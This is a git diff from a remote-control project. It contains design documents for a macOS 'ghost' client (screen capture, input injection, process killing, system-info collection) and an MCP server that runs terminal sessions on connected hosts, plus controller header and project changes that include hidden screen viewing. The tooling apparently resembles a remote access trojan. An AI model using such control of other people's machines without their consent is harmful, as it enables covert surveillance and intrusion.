+- 三个擦除点：`WaitTermCommand`（closed/超时）、`CloseTermSession`、`SweepIdleTerminals`；以及 `OnTerminalClosed` 对**空闲持久会话**的直接擦除（§5.3）。排查时确认 shell 退出路径 `OnTerminalClosed` 是否命中、`COMMAND_NEXT` 是否漏发导致输出永不回流。
+
+---
+
+## 11. 关键源文件索引
+
+| 文件 | 内容 |
+|---|---|
+| `server/2015Remote/McpServer.h` | `TermSession` 结构、`BeginTermOpen/Command/WaitTermCommand/CloseTermSession/SweepIdleTerminals` 声明、`m_terminalEnabled` |
+| `server/2015Remote/McpServer.cpp` | `BuildExecCommand`（~1946）、`BuildTerminalOpen/Exec/Close`（~2345）、状态机方法（~2660）、`FindSentinel`（~2569）、`StripEchoedCommand`（~1935）、`SendTerminalCommandLine`（~2192）、`CleanTerminalOutput`（~2206）、`ResolveTerminalSessionHost`（~2160） |
+| `server/2015Remote/McpSettingsDlg.h/.cpp` | `IDC_MCP_TERMINAL` 复选框、回填/落盘 `McpTerminal` |
+| `server/2015Remote/2015RemoteDlg.cpp` | 启动读 `McpTerminal` → `SetTerminalEnabled` |
+
+> 构建由 VS2019（MSBuild v143）完成；项目工具集 v142，无法在外部环境构建。

docs/macOS_Support_Design.md

@@ -0,0 +1,576 @@
+# macOS 远程桌面客户端设计文档
+
+## 1. 概述
+
+### 1.1 目标
+
+在不影响现有 Windows/Linux 功能的基础上，为 YAMA 项目添加 macOS 客户端支持，前期实现远程桌面控制功能。
+
+### 1.2 功能范围（Phase 1）
+
+| 功能 | 优先级 | 状态 | 说明 |
+|-----|--------|------|------|
+| 连接服务器 | P0 | ⏳ Stub | 复用现有网络协议 |
+| 屏幕捕获 | P0 | ✅ 完成 | CGDisplayCreateImage 实现 |
+| 鼠标控制 | P0 | ✅ 完成 | CGEvent 实现 |
+| 键盘控制 | P0 | ✅ 完成 | CGEvent + VK映射 |
+| 光标同步 | P1 | ⏳ 待实现 | 显示当前光标类型 |
+| 多显示器 | P2 | ⏳ 待实现 | 支持多屏幕选择 |
+
+### 1.3 参考实现
+
+- **Linux 客户端** (`linux/`): 架构相似，协议兼容
+- **RustDesk**: 成熟的跨平台远程桌面开源项目
+- **Sunshine**: 高性能游戏串流项目
+
+---
+
+## 2. 架构设计
+
+### 2.1 目录结构（已实现）
+
+```
+YAMA/
+├── common/              # 跨平台共享（已有）
+│   ├── commands.h       # 协议定义
+│   └── ...
+├── client/              # Windows 客户端（不动）
+├── linux/               # Linux 客户端（不动）
+└── macos/               # macOS 客户端（Phase 1 完成）
+    ├── CMakeLists.txt   # 构建配置
+    ├── build.sh         # 一键编译脚本
+    ├── README.txt       # 使用说明
+    ├── IOCPClient.h     # 网络客户端 stub
+    ├── main.mm          # 入口点 + 系统信息
+    ├── Permissions.h    # 权限检查声明
+    ├── Permissions.mm   # 权限检查实现
+    ├── ScreenHandler.h  # 屏幕捕获声明
+    ├── ScreenHandler.mm # 屏幕捕获实现
+    ├── InputHandler.h   # 输入模拟声明
+    ├── InputHandler.mm  # 输入模拟实现
+    ├── SystemManager.h  # 进程管理声明
+    └── SystemManager.mm # 进程管理实现
+```
+
+### 2.2 模块依赖关系
+
+```
+┌─────────────────────────────────────────────────┐
+│                   main.mm                        │
+│         (入口、权限检查、系统信息收集)             │
+└─────────────┬───────────────────────────────────┘
+              │
+    ┌─────────┼─────────┬─────────────┐
+    ▼         ▼         ▼             ▼
+┌───────┐ ┌───────┐ ┌───────┐ ┌────────────┐
+│Screen │ │Input  │ │System │ │IOCPClient  │
+│Handler│ │Handler│ │Manager│ │(网络 stub) │
+└───┬───┘ └───┬───┘ └───────┘ └────────────┘
+    │         │
+    ▼         ▼
+┌─────────────────────────────────┐
+│     macOS 系统框架               │
+│  CoreGraphics (截屏)            │
+│  Carbon (键码定义)              │
+│  ApplicationServices (权限)     │
+└─────────────────────────────────┘
+```
+
+---
+
+## 3. 技术选型
+
+### 3.1 屏幕捕获方案（已选定）
+
+| 方案 | 最低版本 | 性能 | 复杂度 | 选择 |
+|-----|---------|------|--------|-----|
+| `CGDisplayCreateImage` | 10.5 | 中 | 低 | **✅ 已采用** |
+| `CGDisplayStream` | 10.8 | 中 | 中 | 备选 |
+| `ScreenCaptureKit` | 12.3 | 高 | 高 | 未来考虑 |
+
+**选择 CGDisplayCreateImage**：
+- 实现简单，兼容性好
+- 与 Linux 端 `XGetImage` 方案一致
+- 足以支持 10-30 FPS 传输
+
+### 3.2 输入模拟方案（已实现）
+
+| 功能 | API | 实现状态 |
+|-----|-----|---------|
+| 鼠标移动 | `CGEventCreateMouseEvent` | ✅ 完成 |
+| 鼠标点击 | `CGEventCreateMouseEvent` | ✅ 完成 |
+| 鼠标拖动 | `kCGEventLeftMouseDragged` | ✅ 完成 |
+| 鼠标滚轮 | `CGEventCreateScrollWheelEvent` | ✅ 完成 |
+| 键盘输入 | `CGEventCreateKeyboardEvent` | ✅ 完成 |
+| 事件发送 | `CGEventPost(kCGHIDEventTap)` | ✅ 完成 |
+
+### 3.3 VK 键码映射（已实现）
+
+Windows VK 码到 macOS CGKeyCode 的完整映射：
+
+| 按键类型 | VK 范围 | macOS 映射 |
+|---------|---------|-----------|
+| 字母 A-Z | 0x41-0x5A | kVK_ANSI_A - kVK_ANSI_Z |
+| 数字 0-9 | 0x30-0x39 | kVK_ANSI_0 - kVK_ANSI_9 |
+| 小键盘 | 0x60-0x69 | kVK_ANSI_Keypad0 - 9 |
+| F1-F12 | 0x70-0x7B | kVK_F1 - kVK_F12 |
+| 方向键 | 0x25-0x28 | kVK_LeftArrow 等 |
+| 修饰键 | 0x10-0x12 | kVK_Shift/Control/Option |
+| Win 键 | 0x5B-0x5C | kVK_Command |
+
+### 3.4 差分算法（与 Linux 一致）
+
+| 算法 | ID | 说明 |
+|-----|-----|------|
+| ALGORITHM_GRAY | 0 | 灰度压缩 |
+| ALGORITHM_DIFF | 1 | BGRA 差分 |
+| ALGORITHM_H264 | 2 | 硬件编码（未实现）|
+| ALGORITHM_RGB565 | 3 | RGB565 压缩 |
+
+### 3.5 macOS 版本支持
+
+| 版本 | 代号 | 发布年份 | 支持状态 |
+|-----|------|---------|---------|
+| 10.13 | High Sierra | 2017 | ✅ 目标最低版本 |
+| 10.14 | Mojave | 2018 | ✅ 支持 |
+| 10.15 | Catalina | 2019 | ✅ 支持（需权限） |
+| 11.x | Big Sur | 2020 | ✅ 支持 |
+| 12.x | Monterey | 2021 | ✅ 支持 |
+| 13.x | Ventura | 2022 | ✅ 支持 |
+| 14.x | Sonoma | 2023 | ✅ 支持 |
+
+**注意**：macOS 10.15+ 需要用户授予屏幕录制权限。
+
+---
+
+## 4. 权限处理
+
+### 4.1 所需权限
+
+| 权限 | 用途 | 最低要求版本 | 授权方式 |
+|-----|------|------------|---------|
+| **屏幕录制** | 捕获屏幕内容 | 10.15 | 系统偏好设置 > 隐私 > 屏幕录制 |
+| **辅助功能** | 模拟键盘/鼠标输入 | 所有版本 | 系统偏好设置 > 隐私 > 辅助功能 |
+
+### 4.2 权限检查实现（Permissions.mm）
+
+```objc
+// 检查屏幕录制权限
+bool Permissions::checkScreenCapture() {
+    if (@available(macOS 10.15, *)) {
+        CGImageRef image = CGWindowListCreateImage(
+            CGRectMake(0, 0, 1, 1),
+            kCGWindowListOptionOnScreenOnly,
+            kCGNullWindowID,
+            kCGWindowImageDefault
+        );
+        if (image == nil) return false;
+        CGImageRelease(image);
+        return true;
+    }
+    return true;  // 10.15 之前不需要权限
+}
+
+// 检查辅助功能权限
+bool Permissions::checkAccessibility() {
+    return AXIsProcessTrusted();
+}
+
+// 请求辅助功能权限（弹出系统对话框）
+void Permissions::requestAccessibility() {
+    NSDictionary *options = @{
+        (__bridge id)kAXTrustedCheckOptionPrompt: @YES
+    };
+    AXIsProcessTrustedWithOptions((__bridge CFDictionaryRef)options);
+}
+```
+
+### 4.3 权限引导流程
+
+```
+程序启动
+    │
+    ▼
+检查屏幕录制权限 ──否──▶ 打开系统偏好设置
+    │
+    是
+    │
+    ▼
+检查辅助功能权限 ──否──▶ 弹出授权对话框
+    │
+    是
+    │
+    ▼
+正常运行
+```
+
+---
+
+## 5. 核心代码实现
+
+### 5.1 ScreenHandler（已实现）
+
+```objc
+// ScreenHandler.h
+class ScreenHandler {
+public:
+    ScreenHandler();
+    ~ScreenHandler();
+
+    bool init();                                    // 初始化
+    void start(IOCPClient* client, uint64_t id);   // 开始捕获
+    void stop();                                    // 停止捕获
+
+    int getWidth() const;
+    int getHeight() const;
+
+    void sendBitmapInfo();                         // 发送屏幕信息
+    void onReceive(const uint8_t* data, size_t size);
+    void applyQualityLevel(int8_t level, bool persist);
+
+private:
+    bool captureScreen(std::vector<uint8_t>& buffer);  // 截屏
+    void sendFirstScreen();                            // 发送首帧
+    void sendDiffFrame();                              // 发送差分帧
+    uint32_t compareBitmap(...);                       // 差分计算
+    void convertBGRAtoGray(...);                       // 灰度转换
+    void convertBGRAtoRGB565(...);                     // RGB565转换
+    void captureLoop();                                // 捕获循环
+
+    // 成员变量
+    IOCPClient* m_client;
+    CGDirectDisplayID m_displayID;
+    BITMAPINFOHEADER_MAC m_bmpHeader;
+    std::vector<uint8_t> m_prevFrame, m_currFrame;
+    std::atomic<bool> m_running;
+    std::atomic<uint8_t> m_algorithm;
+    std::atomic<int> m_maxFPS;
+};
+```
+
+### 5.2 InputHandler（已实现）
+
+```objc
+// InputHandler.h
+class InputHandler {
+public:
+    InputHandler();
+    ~InputHandler();
+
+    bool init();                                    // 初始化（检查权限）
+    void handleInputEvent(const MSG64_MAC* msg);   // 处理输入事件
+    bool hasAccessibilityPermission() const;
+
+private:
+    void handleMouseMove(int x, int y);
+    void handleMouseButton(CGMouseButton button, bool down, int x, int y);
+    void handleMouseDoubleClick(CGMouseButton button, int x, int y);
+    void handleMouseWheel(int delta);
+    void handleKeyEvent(uint32_t vkCode, bool down);
+
+    static CGKeyCode vkToMacKeyCode(uint32_t vk);  // VK 到 macOS 键码映射
+
+    bool m_hasPermission;
+    CGPoint m_lastMousePos;
+    bool m_leftButtonDown, m_rightButtonDown, m_middleButtonDown;
+};
+```
+
+### 5.3 SystemManager（已实现）
+
+```objc
+// SystemManager.h
+class SystemManager {
+public:
+    SystemManager(IOCPClient* client, uint64_t clientID);
+    ~SystemManager();
+
+    void onReceive(const uint8_t* data, size_t size);
+
+private:
+    void sendProcessList();                        // 进程列表
+    void killProcesses(const uint8_t* data, size_t size);
+    void sendWindowsList();                        // 窗口列表
+
+    static std::vector<pid_t> getAllPids();        // 枚举进程
+    static std::string getProcessName(pid_t pid);
+    static std::string getProcessPath(pid_t pid);
+};
+```
+
+### 5.4 main.mm（已实现）
+
+主要功能：
+- 命令行参数解析
+- 权限检查和引导
+- 系统信息收集（主机名、OS版本、CPU、内存等）
+- 初始化各处理器
+- 主事件循环
+
+```objc
+int main(int argc, const char* argv[]) {
+    @autoreleasepool {
+        // 1. 解析命令行参数
+        // 2. 检查权限
+        // 3. 收集系统信息
+        // 4. 初始化 ScreenHandler, InputHandler
+        // 5. 主循环
+    }
+    return 0;
+}
+```
+
+---
+
+## 6. 构建配置
+
+### 6.1 CMakeLists.txt
+
+```cmake
+cmake_minimum_required(VERSION 3.15)
+project(ghost_macos)
+
+set(CMAKE_CXX_STANDARD 17)
+set(CMAKE_OSX_DEPLOYMENT_TARGET "10.13")
+set(CMAKE_OSX_ARCHITECTURES "x86_64;arm64")  # Universal Binary
+
+set(SOURCES
+    main.mm
+    ScreenHandler.mm
+    InputHandler.mm
+    SystemManager.mm
+    Permissions.mm
+)
+
+add_executable(ghost ${SOURCES})
+
+target_include_directories(ghost PRIVATE ${CMAKE_CURRENT_SOURCE_DIR})
+
+# 链接 macOS 框架
+find_library(COCOA_FRAMEWORK Cocoa REQUIRED)
+find_library(COREGRAPHICS_FRAMEWORK CoreGraphics REQUIRED)
+find_library(IOKIT_FRAMEWORK IOKit REQUIRED)
+find_library(IOSURFACE_FRAMEWORK IOSurface REQUIRED)
+find_library(APPLICATIONSERVICES_FRAMEWORK ApplicationServices REQUIRED)
+find_library(SECURITY_FRAMEWORK Security REQUIRED)
+find_library(CARBON_FRAMEWORK Carbon REQUIRED)
+
+target_link_libraries(ghost PRIVATE
+    ${COCOA_FRAMEWORK}
+    ${COREGRAPHICS_FRAMEWORK}
+    ${IOKIT_FRAMEWORK}
+    ${IOSURFACE_FRAMEWORK}
+    ${APPLICATIONSERVICES_FRAMEWORK}
+    ${SECURITY_FRAMEWORK}
+    ${CARBON_FRAMEWORK}
+)
+
+target_compile_options(ghost PRIVATE -Wall -Wextra -fobjc-arc)
+```
+
+### 6.2 编译命令
+
+```bash
+# 方式 1: 使用脚本
+chmod +x build.sh
+./build.sh
+
+# 方式 2: 手动编译
+mkdir build && cd build
+cmake ..
+make -j$(sysctl -n hw.ncpu)
+
+# 输出: build/bin/ghost
+```
+
+---
+
+## 7. 实现进度
+
+### Phase 1: 基础框架 ✅ 完成
+
+| 任务 | 状态 | 产出 |
+|-----|------|------|
+| 创建目录结构 | ✅ | `macos/` 目录 |
+| CMakeLists.txt | ✅ | 构建配置 |
+| Permissions.h/mm | ✅ | 权限检查 |
+| ScreenHandler.h/mm | ✅ | 屏幕捕获 |
+| InputHandler.h/mm | ✅ | 输入模拟 |
+| SystemManager.h/mm | ✅ | 进程管理 |
+| main.mm | ✅ | 入口点 |
+| IOCPClient.h | ✅ | 网络 stub |
+
+### Phase 2: 网络集成 ⏳ 待实现
+
+| 任务 | 状态 | 说明 |
+|-----|------|------|
+| IOCPClient 实现 | ⏳ | 复用 client/IOCPClient |
+| 登录信息发送 | ⏳ | LOGIN_INFOR 结构 |
+| 心跳保活 | ⏳ | Heartbeat 机制 |
+| 命令分发 | ⏳ | DataProcess 回调 |
+
+### Phase 3: 功能完善 ⏳ 待实现
+
+| 任务 | 状态 |
+|-----|------|
+| 光标类型同步 | ⏳ |
+| 多显示器支持 | ⏳ |
+| 文件传输 | ⏳ |
+| 剪贴板同步 | ⏳ |
+
+### Phase 4: 代码保护 ⏳ 待实现
+
+| 任务 | 状态 |
+|-----|------|
+| 服务端密钥对生成 | ⏳ |
+| 服务端签名逻辑 | ⏳ |
+| 闭源库 libYamaCore | ⏳ |
+| 客户端绑定验证 | ⏳ |
+
+---
+
+## 8. 测试指南
+
+### 8.1 编译前准备
+
+```bash
+# 安装 Xcode Command Line Tools
+xcode-select --install
+
+# 安装 CMake (通过 Homebrew)
+brew install cmake
+```
+
+### 8.2 编译运行
+
+```bash
+# 获取代码
+git clone <repo-url>
+cd YAMA/macos
+
+# 编译
+./build.sh
+
+# 运行
+./build/bin/ghost [server_ip] [port]
+```
+
+### 8.3 首次运行权限授予
+
+1. **屏幕录制权限**：
+   - 系统偏好设置 > 隐私与安全性 > 屏幕录制
+   - 添加 `ghost` 可执行文件
+
+2. **辅助功能权限**：
+   - 系统偏好设置 > 隐私与安全性 > 辅助功能
+   - 添加 `ghost` 可执行文件
+
+### 8.4 预期输出
+
+```
+=== macOS Ghost Client (Phase 1) ===
+Server: 192.168.0.55:6543
+Checking permissions...
+Collecting system information...
+Hostname: MacBook-Pro.local
+OS: macOS 14.0.0
+CPU: Apple M1 (0 MHz, 8 cores)
+Memory: 16.0 GB
+User: username
+Resolution: 1:2560x1600
+Executable: /path/to/ghost
+Start Time: 2024-04-29 12:00:00
+Initializing handlers...
+Screen handler initialized: 2560x1600
+Input handler initialized
+=== Phase 1 Status ===
+Screen Capture: READY
+Input Control:  READY
+Network:        STUB (Phase 2)
+======================
+Starting main loop (Ctrl+C to exit)...
+```
+
+---
+
+## 9. 常见问题
+
+### 9.1 编译问题
+
+| 问题 | 原因 | 解决方案 |
+|-----|------|---------|
+| 找不到 Foundation.h | 缺少 Xcode CLT | `xcode-select --install` |
+| CMake 找不到 | 未安装 CMake | `brew install cmake` |
+| 架构不匹配 | Universal Binary 问题 | 检查 CMAKE_OSX_ARCHITECTURES |
+
+### 9.2 运行时问题
+
+| 问题 | 原因 | 解决方案 |
+|-----|------|---------|
+| 程序无法打开 | 未签名 | `xattr -d com.apple.quarantine ghost` |
+| Screen Capture: NEED PERMISSION | 无录屏权限 | 系统偏好设置授权 |
+| Input Control: NEED PERMISSION | 无辅助功能权限 | 系统偏好设置授权 |
+
+### 9.3 权限重置
+
+```bash
+# 如果权限状态混乱，可重置
+tccutil reset ScreenCapture
+tccutil reset Accessibility
+```
+
+---
+
+## 10. 代码保护机制（待实现）
+
+### 10.1 保护策略
+
+核心思路：客户端内嵌服务端公钥，连接时验证服务端身份。
+
+```
+┌─────────────────────┐                    ┌─────────────────────┐
+│   macOS Client      │                    │   Your Server       │
+│                     │    1. 挑战请求     │                     │
+│ ┌─────────────────┐ │ ─────────────────▶ │ ┌─────────────────┐ │
+│ │ libYamaCore.a   │ │                    │ │  服务端私钥     │ │
+│ │ (闭源)          │ │ ◀───────────────── │ │                 │ │
+│ │ 内嵌服务端公钥  │ │    2. 签名响应     │ └─────────────────┘ │
+│ │                 │ │                    │                     │
+│ │ 验证签名 ─────▶ 匹配 ──▶ 正常工作                           │
+│ │         ─────▶ 不匹配 ──▶ 拒绝连接                          │
+│ └─────────────────┘ │                    │                     │
+└─────────────────────┘                    └─────────────────────┘
+```
+
+### 10.2 实施步骤
+
+1. 生成服务端密钥对
+2. 服务端添加签名逻辑
+3. 创建闭源库 libYamaCore
+4. 嵌入公钥编译
+5. 客户端集成验证
+
+---
+
+## 11. 参考资料
+
+### 11.1 官方文档
+
+- [CGDisplayCreateImage](https://developer.apple.com/documentation/coregraphics/1454434-cgdisplaycreateimage)
+- [CGEvent Reference](https://developer.apple.com/documentation/coregraphics/cgevent)
+- [Carbon Events.h](https://developer.apple.com/documentation/carbon/events_h)
+- [Accessibility API](https://developer.apple.com/documentation/applicationservices/axuielement_h)
+
+### 11.2 开源项目参考
+
+- [RustDesk macOS](https://github.com/rustdesk/rustdesk/tree/master/src/platform/macos)
+- [Sunshine Screen Capture](https://github.com/LizardByte/Sunshine/tree/master/src/platform/macos)
+
+---
+
+## 12. 修订历史
+
+| 日期 | 版本 | 修改内容 |
+|-----|------|---------|
+| 2026-04-28 | 1.0 | 初始版本（设计文档） |
+| 2026-04-29 | 1.1 | 更新为实现文档，Phase 1 完成 |

server/2015Remote/2015RemoteDlg.h

@@ -6,6 +6,7 @@
 #include "TrueColorToolBar.h"
 #include "IOCPServer.h"
 #include <common/location.h>
+#include "common/commands.h"
 #include <map>
 #include <unordered_map>
 #include <mutex>
@@ -173,6 +174,9 @@ protected:
     DECLARE_MESSAGE_MAP()
 public:
     void SortByColumn(int nColumn);
+    void ApplySort();               // 按偏好重排 m_HostList；无偏好时恢复默认顺序（上线先后）（调用方需持有 m_cs）
+    void LoadSortPreference();
+    void SaveSortPreference();
     afx_msg VOID OnHdnItemclickList(NMHDR* pNMHDR, LRESULT* pResult);
     static int CALLBACK CompareFunction(LPARAM lParam1, LPARAM lParam2, LPARAM lParamSort);
     template<class T, int id, int Show = SW_SHOW> LRESULT OpenDialog(WPARAM wParam, LPARAM lParam)
@@ -325,6 +329,24 @@ public:
     void LoadThumbnailSettingsFromCfg();          // 从 THIS_CFG 读到 m_ThumbnailCfg
     void SaveThumbnailSettingsToCfg() const;      // m_ThumbnailCfg 落盘到 THIS_CFG
     void TickThumbnailRefresh();                  // TIMER_THUMBNAIL_REFRESH 主循环
+
+    // ===== 远程桌面质量等级配置（6 档 QualityProfile） =====
+    // 主控端 UI 偏好，持久化走 THIS_CFG [quality] 节。服务端权威，经 CMD_QUALITY_PROFILES
+    // 下发给客户端。仅 UI 线程访问；修改后需重开远程桌面会话才对新连接生效。
+    QualityProfile m_QualityProfiles[QUALITY_COUNT];
+    void LoadQualityProfilesFromCfg();                    // 从 THIS_CFG 读到 m_QualityProfiles（缺省回落 GetQualityProfile）
+    void SaveQualityProfilesToCfg() const;                // m_QualityProfiles 落盘到 THIS_CFG
+    const QualityProfile& GetQualityProfileCfg(int level) const;  // 供 ScreenSpyDlg 下发用
+    void OnQualityLevels();                               // 高级→远程桌面质量等级
+
+    // ===== 屏幕预览质量等级配置（6 档 PreviewProfile） =====
+    // 双击主机单发预览 / 循环快照浮窗所用。持久化走 THIS_CFG [preview] 节。
+    // 仅 UI 线程访问；修改后下次发预览请求即生效。
+    PreviewProfile m_PreviewProfiles[QUALITY_COUNT];
+    void LoadPreviewProfilesFromCfg();                    // 从 THIS_CFG 读到 m_PreviewProfiles（缺省回落 GetScreenPreviewProfile）
+    void SavePreviewProfilesToCfg() const;                // m_PreviewProfiles 落盘到 THIS_CFG
+    const PreviewProfile& GetPreviewProfileCfg(int level) const;  // 供 ChooseScreenPreviewParams 用
+    void OnPreviewLevels();                               // 高级→屏幕预览质量等级
     void SendThumbnailRequest(class context* ctx);// 发一次缩略图请求
     void CacheThumbnail(uint64_t clientID, const BYTE* jpeg, size_t bytes);
     void ClearThumbnailCacheEntry(uint64_t clientID);
@@ -337,11 +359,26 @@ public:
     std::vector<int> m_PendingOffline;  // 存储端口号
     CListCtrlEx m_CList_Online;
     CListCtrl   m_CList_Message;
+    // 消息/审计日志的线程安全镜像（供 MCP get_audit_log 工具读取）。m_CList_Message 是
+    // CListCtrl、只能在 UI 线程访问，MCP 线程据此镜像读取。受 m_cs 保护，新在前、旧在后，
+    // 与 CListCtrl 显示顺序一致（索引一一对应，便于删除同步）。
+    struct LogMessage {
+        std::string type;   // 类型（操作成功/主机上线/主机下线…）
+        std::string time;   // 时间戳 "YYYY-MM-DD HH:MM:SS"
+        std::string msg;    // 内容
+    };
+    std::vector<LogMessage> m_MessageLog;
     CSplitterBar m_SplitterBar;
     int m_nSplitPos = 160;  // 消息区高度（像素），可拖动调整
     std::vector<context*> m_HostList;              // 虚拟列表数据源（全部客户端）
     std::unordered_map<uint64_t, size_t> m_ClientIndex;  // clientID -> m_HostList 索引映射
+    // 重复上线的替补连接：clientID -> 替补 context。
+    // 网络抖动导致客户端用新连接重复上线时，不立即替换/关闭旧连接（否则会触发客户端
+    // 反复重连抖动），而是把新连接暂存到这里；旧连接因心跳超时或断开被移除后，再取替补转正。
+    std::unordered_map<uint64_t, CONTEXT_OBJECT*> m_StandbyHosts;
     std::vector<size_t> m_FilteredIndices;         // 当前分组过滤后的索引列表
+    int  m_nSortColumn = -1;                       // 当前排序列，-1 表示未排序
+    bool m_bSortAscending = true;                  // 排序方向（true=升序）
     std::set<std::string> m_GroupList;
     std::string m_selectedGroup;
 	std::string m_v2KeyPath;                      // V2 密钥文件路径
@@ -361,6 +398,9 @@ public:
     context* FindHostNoLock(int port);      // caller must hold m_cs lock
     context* FindHostNoLock(uint64_t id);   // caller must hold m_cs lock
     bool RemoveFromHostList(context* ctx);  // 从 m_HostList 中移除并更新索引
+    void AddToStandbyList(CONTEXT_OBJECT* ctx);      // 重复上线：暂存替补连接（替换旧替补）
+    void RemoveFromStandbyList(CONTEXT_OBJECT* ctx); // 连接断开时从替补列表移除（幂等）
+    bool PromoteStandby(uint64_t clientID);          // 旧连接移除后，取替补转正（需持有 m_cs）；返回是否真的转正
 
     CStatusBar m_StatusBar;          //状态条
     ULONGLONG m_ullStartTime = 0;    // 程序启动时间 (GetTickCount64)
@@ -385,7 +425,7 @@ public:
     bool IsDllRequestLimited(const std::string& ip);
     void RecordDllRequest(const std::string& ip);
     CMenu	   m_MainMenu;
-    CBitmap m_bmOnline[63];
+    CBitmap m_bmOnline[66];
     uint64_t m_superID;
     std::map<HWND, CDialogBase *> m_RemoteWnds;
     FileTransformCmd m_CmdList;
@@ -564,6 +604,9 @@ public:
     afx_msg void OnMsglogCopy();
     afx_msg void OnMsglogClear();
     afx_msg void OnMsglogSearch();
+    afx_msg void OnMsglogLoginNotify();
+    afx_msg void OnMsglogBanIP();
+    afx_msg void OnMsglogUnbanIP();
     afx_msg void OnOnlineAddWatch();
     afx_msg void OnNMCustomdrawOnline(NMHDR* pNMHDR, LRESULT* pResult);
     afx_msg void OnOnlineRunAsAdmin();
@@ -630,6 +673,7 @@ public:
     afx_msg void OnMasterTrail();
     afx_msg void OnCancelShare();
     afx_msg void OnWebRemoteControl();
+    afx_msg void OnMcpSettings();
     afx_msg void OnProxyPortAutorun();
     afx_msg void OnScreenpreviewLoop();
     afx_msg void OnMenuCompress();
@@ -642,6 +686,7 @@ public:
     afx_msg void OnOnlineActiveWnd();
     afx_msg void OnEnableDevDebug();
     afx_msg void OnOnlineClientLog();
+    afx_msg void OnOnlineHistoryActivity();
     afx_msg LRESULT OnOpenClientLogDialog(WPARAM wParam, LPARAM lParam);
     afx_msg void OnOnlineForbidden();
 };

server/2015Remote/2015Remote_vs2015.vcxproj

@@ -291,6 +291,7 @@
     <ClInclude Include="BuildDlg.h" />
     <ClInclude Include="CClientListDlg.h" />
     <ClInclude Include="CClientLog.h" />
+    <ClInclude Include="CActivityDialog.h" />
     <ClInclude Include="LogSearchBar.h" />
     <ClInclude Include="CDlgFileSend.h" />
     <ClInclude Include="CDrawingBoard.h" />
@@ -316,6 +317,7 @@
     <ClInclude Include="file\CFileTransferModeDlg.h" />
     <ClInclude Include="HideScreenSpyDlg.h" />
     <ClInclude Include="HostInfo.h" />
+    <ClInclude Include="HostJson.h" />
     <ClInclude Include="InputDlg.h" />
     <ClInclude Include="ZstaPickerDlg.h" />
     <ClInclude Include="IOCPKCPServer.h" />
@@ -324,12 +326,15 @@
     <ClInclude Include="IPHistoryDlg.h" />
     <ClInclude Include="KeyBoardDlg.h" />
     <ClInclude Include="LangManager.h" />
+    <ClInclude Include="McpServer.h" />
+    <ClInclude Include="McpSettingsDlg.h" />
     <ClInclude Include="NetworkDlg.h" />
     <ClInclude Include="NotifyConfig.h" />
     <ClInclude Include="NotifyManager.h" />
     <ClInclude Include="NotifySettingsDlg.h" />
     <ClInclude Include="FeatureLimitsDlg.h" />
     <ClInclude Include="FrpsForSubDlg.h" />
+    <ClInclude Include="ShareHostDlg.h" />
     <ClInclude Include="PluginSettingsDlg.h" />
     <ClInclude Include="PreviewTipWnd.h" />
     <ClInclude Include="TriggerSettingsDlg.h" />
@@ -374,6 +379,7 @@
   <ItemGroup>
     <ClCompile Include="..\..\client\Audio.cpp" />
     <ClCompile Include="CClientLog.cpp" />
+    <ClCompile Include="CActivityDialog.cpp" />
     <ClCompile Include="LogSearchBar.cpp" />
     <ClCompile Include="msvc_compat.c">
       <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">NotUsing</PrecompiledHeader>
@@ -385,6 +391,9 @@
     <ClCompile Include="PreviewTipWnd.cpp" />
     <ClCompile Include="TriggerSettingsDlg.cpp" />
     <ClCompile Include="WebService.cpp" />
+    <ClCompile Include="HostJson.cpp" />
+    <ClCompile Include="McpServer.cpp" />
+    <ClCompile Include="McpSettingsDlg.cpp" />
     <ClCompile Include="..\..\client\MemoryModule.c">
       <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">NotUsing</PrecompiledHeader>
       <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">NotUsing</PrecompiledHeader>
@@ -454,6 +463,7 @@
     <ClCompile Include="NotifySettingsDlg.cpp" />
     <ClCompile Include="FeatureLimitsDlg.cpp" />
     <ClCompile Include="FrpsForSubDlg.cpp" />
+    <ClCompile Include="ShareHostDlg.cpp" />
     <ClCompile Include="Loader.c">
       <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">NotUsing</PrecompiledHeader>
       <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">NotUsing</PrecompiledHeader>
@@ -510,6 +520,7 @@
     <Image Include="res\Bitmap\AuthGen.bmp" />
     <Image Include="res\Bitmap\authorize.bmp" />
     <Image Include="res\Bitmap\Backup.bmp" />
+    <Image Include="res\Bitmap\BrowseWnd.bmp" />
     <Image Include="res\Bitmap\CancelShare.bmp" />
     <Image Include="res\Bitmap\ClientLog.bmp" />
     <Image Include="res\Bitmap\Forbidden.bmp" />
@@ -526,6 +537,7 @@
     <Image Include="res\Bitmap\GrayDesktop.bmp" />
     <Image Include="res\Bitmap\Help.bmp" />
     <Image Include="res\Bitmap\History.bmp" />
+    <Image Include="res\Bitmap\HistoryActivity.bmp" />
     <Image Include="res\Bitmap\HostProxy.bmp" />
     <Image Include="res\Bitmap\Import.bmp" />
     <Image Include="res\Bitmap\ImportLicense.bmp" />
@@ -544,6 +556,7 @@
     <Image Include="res\Bitmap\PEEdit.bmp" />
     <Image Include="res\Bitmap\Plugin.bmp" />
     <Image Include="res\Bitmap\PluginConfig.bmp" />
+    <Image Include="res\Bitmap\PortProxyAuto.bmp" />
     <Image Include="res\Bitmap\PortProxyStd.bmp" />
     <Image Include="res\Bitmap\PrivateScreen.bmp" />
     <Image Include="res\Bitmap\proxy.bmp" />

server/2015Remote/2015Remote_vs2015.vcxproj.filters

@@ -76,6 +76,7 @@
     <ClCompile Include="NotifyManager.cpp" />
     <ClCompile Include="NotifySettingsDlg.cpp" />
     <ClCompile Include="FrpsForSubDlg.cpp" />
+    <ClCompile Include="ShareHostDlg.cpp" />
     <ClCompile Include="NetworkDlg.cpp" />
     <ClCompile Include="IPHistoryDlg.cpp" />
     <ClCompile Include="FeatureLimitsDlg.cpp" />
@@ -84,7 +85,12 @@
     <ClCompile Include="PluginSettingsDlg.cpp" />
     <ClCompile Include="PreviewTipWnd.cpp" />
     <ClCompile Include="TriggerSettingsDlg.cpp" />
+    <ClCompile Include="HostJson.cpp" />
+    <ClCompile Include="McpServer.cpp" />
+    <ClCompile Include="McpSettingsDlg.cpp" />
     <ClCompile Include="CClientLog.cpp" />
+    <ClCompile Include="CActivityDialog.cpp" />
+    <ClCompile Include="LogSearchBar.cpp" />
   </ItemGroup>
